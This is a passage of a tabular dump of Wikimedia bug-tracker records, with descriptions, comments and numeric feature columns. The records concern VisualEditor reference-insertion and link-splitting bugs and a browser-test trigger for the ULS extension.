242774,VisualEditor: [Regression] Reference list not being updated during editing session,"Confirmed.  Use existing reference shows original references, before they were modified.",,,1375051990,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-3gmemcjr7w4kdsoeiv6t,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.2,0.9333333333333333,"Confirmed.  Use existing reference shows original references, before they were modified."
54159,"VisualEditor: Inserting an existing reference in the first paragraph in Firefox puts it at the start of the paragraph, not where the cursor is","When an existing reference is inserted, it is put at the start of the paragraph the cursor is currently in, regardless of where it is in that paragraph. This has happened to me while I was attempting to use in a paragraph a reference that was already used in that paragraph: the reference got inserted at the start of the paragraph and I was not able to move it. I tried again some times but it still did not work and I had to use the wikitext editor.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1374966180,1377019526.0,PHID-USER-2rwkb3az6uklfhh5aqw5,False,,False,PHID-TASK-ehj46yftpulklnhzc5nl,task_description,resolved,True,c1,3,False,False,True,3,,1.0,0.0,0.0,1.5,2.0,2.5,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.5,0.5,6.5,8.5,0.0,2.5,0.0,0.5,0.0,5.5,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,3.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.5,0.0,10.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.0,1.5,0.0,1.0,0.0,0.5,0.0,6.0,4.0,6.0,1.5,2.5,8.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.5,8.5,0.0,0.0,0.0,0.0,6.5,0.0,1.5,1.5,0.5,1.0,0.0,0.0,0.0,3.8928571428571432,0.6517857142857143,"When an existing reference is inserted, it is put at the start of the paragraph the cursor is currently in, regardless of where it is in that paragraph. This has happened to me while I was attempting to use in a paragraph a reference that was already used in that paragraph: the reference got inserted at the start of the paragraph and I was not able to move it. I tried again some times but it still did not work and I had to use the wikitext editor.

--------------------------
**Version**: unspecified
**Severity**: normal"
242730,"VisualEditor: Inserting an existing reference in the first paragraph in Firefox puts it at the start of the paragraph, not where the cursor is",*** Bug 52594 has been marked as a duplicate of this bug. ***,,,1385374664,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ehj46yftpulklnhzc5nl,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52594 has been marked as a duplicate of this bug. ***
242728,"VisualEditor: Inserting an existing reference in the first paragraph in Firefox puts it at the start of the paragraph, not where the cursor is","Should now be fixed; we will deploy this earlier than scheduled, later today.",,,1377019526,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ehj46yftpulklnhzc5nl,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,4.0625,1.0,"Should now be fixed; we will deploy this earlier than scheduled, later today."
242726,"VisualEditor: Inserting an existing reference in the first paragraph in Firefox puts it at the start of the paragraph, not where the cursor is","Change 80056 merged by jenkins-bot:
Preserve selection when inserting references

https://gerrit.wikimedia.org/r/80056",,,1377019484,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ehj46yftpulklnhzc5nl,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,19.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,5.25,1.0,"Change 80056 merged by jenkins-bot:
Preserve selection when inserting references

GERRIT_URL"
242723,"VisualEditor: Inserting an existing reference in the first paragraph in Firefox puts it at the start of the paragraph, not where the cursor is","Change 80056 had a related patch set uploaded by Esanders:
Preserve selection when inserting references

https://gerrit.wikimedia.org/r/80056",,,1377019336,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ehj46yftpulklnhzc5nl,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,21.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,5.368421052631579,1.0,"Change 80056 had a related patch set uploaded by Esanders:
Preserve selection when inserting references

GERRIT_URL"
242717,"VisualEditor: Inserting an existing reference in the first paragraph in Firefox puts it at the start of the paragraph, not where the cursor is","AFAICT this only happens in the first paragraph (and only in Firefox).

This is throwing an error in Rangy:

  TypeError: sel.nativeSelection is null
  sel._ranges.length = sel.rangeCount = sel.nativeSelection.rangeCount;

… but for some reason I can't get Firebug to give me a trace.",,,1376611609,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ehj46yftpulklnhzc5nl,task_subcomment,,True,c1,3,True,,,6,,2.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,6.0,2.0,0.0,4.0,0.0,4.0,0.0,6.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,13.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,6.0,4.0,13.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,9.0,11.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,4.574074074074074,0.8518518518518519,"AFAICT this only happens in the first paragraph (and only in Firefox).

This is throwing an error in Rangy:

  TypeError: sel.nativeSelection is null
  sel._ranges.length = sel.rangeCount = sel.nativeSelection.rangeCount;

… but for some reason I can't get Firebug to give me a trace."
242711,"VisualEditor: Inserting an existing reference in the first paragraph in Firefox puts it at the start of the paragraph, not where the cursor is","At en.wp WhatamIdoing reports:
I was just trying to add the ref to the other sentences. It misplaced two copies at the start of the paragraph when I wanted one at the end of the first line of the first paragraph (perhaps I clicked too high on the top line of the edit window?). After I removed those, I couldn't add any more. Clicking the ref button did nothing."" He gives the following URL:
https://en.wikipedia.org/w/index.php?title=Swing_%28seat%29&diff=568557479&oldid=568556853",,,1376554077,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-ehj46yftpulklnhzc5nl,task_subcomment,,True,c1,3,False,,,6,,1.0,0.0,0.0,0.0,1.0,8.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,1.0,1.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,1.0,0.0,0.0,12.0,1.0,15.0,1.0,0.0,15.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,8.0,12.0,3.0,1.0,1.0,0.0,8.0,0.0,1.0,0.0,0.0,2.0,1.0,0.0,0.0,3.6292134831460676,0.6629213483146067,"At en.wp WhatamIdoing reports:
I was just trying to add the ref to the other sentences. It misplaced two copies at the start of the paragraph when I wanted one at the end of the first line of the first paragraph (perhaps I clicked too high on the top line of the edit window?). After I removed those, I couldn't add any more. Clicking the ref button did nothing."" He gives the following URL:
URL"
242707,"VisualEditor: Inserting an existing reference in the first paragraph in Firefox puts it at the start of the paragraph, not where the cursor is","I have done similar manipulations in other articles at some moments, and it seems it sometimes works and sometimes doesn't. There are many things that are strange concerning how the existing references system works.

Regardless, I set up a sandbox page on my user space, added a reference and then tried to re-use that reference using the VisualEditor. The reference was added at the start of the paragraph. I've done some more experimenting, and I've written steps to reproduce the bug; the first block reproduces the bug and the following blocks are other experimentations that give more strange results.

1. Go to [[User:Rastus Vernon/VisualEditor Sandbox]].
2. Edit the page with the VisualEditor.
3. Click somewhere in the first paragraph, not at the start.
4. Click on the reference button and re-use the reference (there is only one).
5. Note how the reference was inserted at the start of the paragraph instead of being inserted where your cursor was.

6. Click in another paragraph, not at the start.
7. Insert the same reference again.
8. Note how the reference was inserted at the right position.

9. Perform steps 7 and 8 again.
10. Note how it was again inserted at the right position, although the reference is already in that paragraph.

11. Try inserting it again in the first paragraph.
12. Note how it still inserts it at the start of the paragraph instead of inserting it in the right location.

13. Be confused because you don't understand anything about this inconsistent behavior.",,,1375231690,,PHID-USER-2rwkb3az6uklfhh5aqw5,False,,,PHID-TASK-ehj46yftpulklnhzc5nl,task_subcomment,,True,c1,3,False,,,4,,0.75,0.25,0.0,1.25,1.0,4.0,1.0,0.25,0.25,0.0,2.25,1.0,0.0,0.25,0.5,1.25,0.5,7.0,8.25,0.25,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.25,4.25,1.5,2.0,0.75,0.5,0.25,0.0,0.0,0.0,0.0,0.0,1.25,1.5,0.0,0.5,0.0,0.5,0.0,10.75,0.0,0.75,0.25,0.5,0.0,0.0,0.0,0.25,0.75,0.0,0.75,0.5,0.0,0.0,0.0,0.5,1.0,8.0,3.25,7.0,2.25,1.75,9.5,0.0,0.0,0.0,0.0,5.25,0.0,2.5,0.0,4.0,8.25,2.0,0.0,0.0,0.0,4.0,0.0,2.0,0.5,0.0,1.75,0.5,0.0,2.75,3.9165123456790125,0.6469521604938271,"I have done similar manipulations in other articles at some moments, and it seems it sometimes works and sometimes doesn't. There are many things that are strange concerning how the existing references system works.

Regardless, I set up a sandbox page on my user space, added a reference and then tried to re-use that reference using the VisualEditor. The reference was added at the start of the paragraph. I've done some more experimenting, and I've written steps to reproduce the bug; the first block reproduces the bug and the following blocks are other experimentations that give more strange results.

1. Go to [[User:Rastus Vernon/VisualEditor Sandbox]].
2. Edit the page with the VisualEditor.
3. Click somewhere in the first paragraph, not at the start.
4. Click on the reference button and re-use the reference (there is only one).
5. Note how the reference was inserted at the start of the paragraph instead of being inserted where your cursor was.

6. Click in another paragraph, not at the start.
7. Insert the same reference again.
8. Note how the reference was inserted at the right position.

9. Perform steps 7 and 8 again.
10. Note how it was again inserted at the right position, although the reference is already in that paragraph.

11. Try inserting it again in the first paragraph.
12. Note how it still inserts it at the start of the paragraph instead of inserting it in the right location.

13. Be confused because you don't understand anything about this inconsistent behavior."
242702,"VisualEditor: Inserting an existing reference in the first paragraph in Firefox puts it at the start of the paragraph, not where the cursor is","I did only a quick test, and could not reproduce this bug.  Could you give more detailed instructions?",,,1375052081,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ehj46yftpulklnhzc5nl,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,3.8636363636363638,1.0,"I did only a quick test, and could not reproduce this bug.  Could you give more detailed instructions?"
54127,VisualEditor: Editing a link spanning a comment splits the link,"Tested on Firefox 22 (Monobook) and Chrome 28 (Vector)

Steps to reproduce:
- Edit the [[Nodeulseom]] page in the visual editor.
- Click reference [1] and edit it.
- Click the hyperlink in the reference and point it to ""http://www.koreatimes.co.kr/"" (Eg: Just remove the last part from the reference)
- Apply the change.
- Hit ""Save Page"" and review the changes.

Instead of replacing the old link, it seems that the preview suggest that the link will be duplicated, leaving both the old and new link in the reference.

(Diff)
<ref>[http://www.koreatimes.co.kr/ (The Korea Times)][http://www.koreatimes.co.kr/www/news/nation/nation_view.asp?newsIdx=5635&categoryCode=115 <!-- Bot generated title -->]</ref>

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1374878820,1406598194.0,PHID-USER-ohetl546bwt5ac2szu5w,False,,False,PHID-TASK-jhcapgyaxz3ow5vafpun,task_description,resolved,True,c1,3,False,False,False,3,,0.0,0.0,0.0,0.5,0.0,4.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.5,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,1.5,0.0,1.5,0.5,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.5,11.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.5,14.0,1.5,3.0,8.5,0.0,0.0,0.5,0.0,6.0,0.0,1.5,0.0,1.5,5.5,7.5,0.0,2.0,0.0,1.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,4.0,3.511603375527426,0.618062317429406,"Tested on Firefox 22 (Monobook) and Chrome 28 (Vector)

Steps to reproduce:
- Edit the [[Nodeulseom]] page in the visual editor.
- Click reference [1] and edit it.
- Click the hyperlink in the reference and point it to ""URL (Eg: Just remove the last part from the reference)
- Apply the change.
- Hit ""Save Page"" and review the changes.

Instead of replacing the old link, it seems that the preview suggest that the link will be duplicated, leaving both the old and new link in the reference.

(Diff)
<ref>[URL (The Korea Times)][URL <!-- Bot generated title -->]</ref>

--------------------------
**Version**: unspecified
**Severity**: major"
241067,VisualEditor: Editing a link spanning a comment splits the link,"This is now fixed because comments are editable (finally), but there's a wider, lower-priority issue for non-comments, for which I have created bug 68779 to track.",,,1406598194,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jhcapgyaxz3ow5vafpun,task_subcomment,,True,c1,3,True,,,56,,0.0,0.0,0.0,3.0,0.0,8.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,5.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,3.0,0.0,0.0,0.0,11.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,5.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,5.0,0.0,0.0,3.72972972972973,0.8648648648648649,"This is now fixed because comments are editable (finally), but there's a wider, lower-priority issue for non-comments, for which I have created bug 68779 to track."
241062,VisualEditor: Editing a link spanning a comment splits the link,"(In reply to Gerrit Notification Bot from comment #3)
> Change 141063 merged by jenkins-bot:
> Also annotate metadata in TransactionProcessor
> 
> https://gerrit.wikimedia.org/r/141063

Helpfully, this doesn't actually fix the bug (just a number of related bugs where the comment isn't on the edge of the link). Assigned.",,,1403909628,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jhcapgyaxz3ow5vafpun,task_subcomment,,True,c1,3,True,,,51,,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,10.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,10.0,2.0,19.0,2.0,0.0,12.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.519230769230769,0.7115384615384616,"(In reply to Gerrit Notification Bot from comment #3)
QUOTE
QUOTE
QUOTE
QUOTE

Helpfully, this doesn't actually fix the bug (just a number of related bugs where the comment isn't on the edge of the link). Assigned."
241055,VisualEditor: Editing a link spanning a comment splits the link,"Change 141063 merged by jenkins-bot:
Also annotate metadata in TransactionProcessor

https://gerrit.wikimedia.org/r/141063",,,1403905782,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jhcapgyaxz3ow5vafpun,task_subcomment,,True,c1,3,False,,,51,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.4375,1.0,"Change 141063 merged by jenkins-bot:
Also annotate metadata in TransactionProcessor

GERRIT_URL"
241049,VisualEditor: Editing a link spanning a comment splits the link,"Change 141063 had a related patch set uploaded by Catrope:
Also annotate metadata in TransactionProcessor

https://gerrit.wikimedia.org/r/141063",,,1403299185,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jhcapgyaxz3ow5vafpun,task_subcomment,,True,c1,3,False,,,50,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.473684210526316,1.0,"Change 141063 had a related patch set uploaded by Catrope:
Also annotate metadata in TransactionProcessor

GERRIT_URL"
241044,VisualEditor: Editing a link spanning a comment splits the link,"This is a more general problem. We never unannotate comments or any other metadata. For instance:

* If you have [[Foo|Bar<!--Baz-->Quux]] and change the link target, you'll split the link: [[Foo2|Bar]][[Foo|<!--Baz-->]][[Foo2|Quux]] (that's also what happened here)
* If you have Foo<!--Bar-->Baz, it renders as ""FooBar"". If you then make that italic, you'll get ''Foo''<!--Bar-->''Baz''

The root of the problem is that ve.dm.TransactionProcessor#applyAnnotations doesn't annotate/unannotate metadata. Tomorrow I'll see if I can write a failing test case and fix applyAnnotations()",,,1403149757,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-jhcapgyaxz3ow5vafpun,task_subcomment,,True,c1,3,False,,,50,,0.5,0.0,0.0,0.0,1.0,2.0,1.5,0.0,0.0,2.5,1.0,5.0,0.0,0.0,0.0,2.0,0.0,3.5,6.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,2.0,0.0,6.5,1.0,1.0,1.5,3.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,1.5,11.5,3.5,2.0,6.5,0.0,0.0,0.0,0.0,5.5,0.0,1.0,0.0,6.5,6.0,1.5,0.0,1.5,0.0,6.5,0.0,0.5,1.5,0.0,1.0,0.5,0.0,4.0,4.379310344827586,0.8017241379310345,"This is a more general problem. We never unannotate comments or any other metadata. For instance:

* If you have [[Foo|Bar<!--Baz-->Quux]] and change the link target, you'll split the link: [[Foo2|Bar]][[Foo|<!--Baz-->]][[Foo2|Quux]] (that's also what happened here)
* If you have Foo<!--Bar-->Baz, it renders as ""FooBar"". If you then make that italic, you'll get ''Foo''<!--Bar-->''Baz''

The root of the problem is that ve.dm.TransactionProcessor#applyAnnotations doesn't annotate/unannotate metadata. Tomorrow I'll see if I can write a failing test case and fix applyAnnotations()"
54120,browsertests: triggers for ULS,"This makes sense for ULS because they have a reasonable number of merges in a day, see https://gerrit.wikimedia.org/r/#/q/status:merged+project:mediawiki/extensions/UniversalLanguageSelector,n,z 

This would entail: 

* Put the ULS tests into their own Jenkins build, and possibly into their own code repo the way Mobile is

* Have Jenkins kick off the build of ULS tests targeting beta labs upon code merged in the ULS branch

* Report the build status after each run

This came up because we found Bug 52115 in a timely way.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52890
https://bugzilla.wikimedia.org/show_bug.cgi?id=53691
https://bugzilla.wikimedia.org/show_bug.cgi?id=57560",High,80.0,1374875220,1386338149.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-vzhy73evvtw5m5ueeyz3,task_description,resolved,True,c1,3,False,False,False,3,,1.0,0.0,0.0,0.0,0.0,3.0,0.0,1.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,1.5,8.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.5,1.5,2.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.5,14.5,2.0,0.5,7.5,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,2.5,8.5,5.5,0.0,0.0,0.0,2.5,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,3.6242728714965624,0.6579851930195664,"This makes sense for ULS because they have a reasonable number of merges in a day, see URL 

This would entail: 

* Put the ULS tests into their own Jenkins build, and possibly into their own code repo the way Mobile is

* Have Jenkins kick off the build of ULS tests targeting beta labs upon code merged in the ULS branch

* Report the build status after each run

This came up because we found Bug 52115 in a timely way.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL
URL
URL"
240724,browsertests: triggers for ULS,The job got fixed yesterday and browser tests are passing right now. It is not blocking changes yet though.,,,1386338190,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-vzhy73evvtw5m5ueeyz3,task_subcomment,,True,c1,3,True,,,22,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,10.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.238095238095238,0.9523809523809523,The job got fixed yesterday and browser tests are passing right now. It is not blocking changes yet though.
240715,browsertests: triggers for ULS,"The trigger has been added in Zuul with https://gerrit.wikimedia.org/r/97741

The job will success whenever ULS change https://gerrit.wikimedia.org/r/#/c/97487/ is merged in.",,,1385574363,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-vzhy73evvtw5m5ueeyz3,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,27.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,18.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.181818181818182,0.9090909090909091,"The trigger has been added in Zuul with GERRIT_URL

The job will success whenever ULS change URL is merged in."
240708,browsertests: triggers for ULS,"Change 97741 merged by jenkins-bot:
ULS browsertests on check pipeline

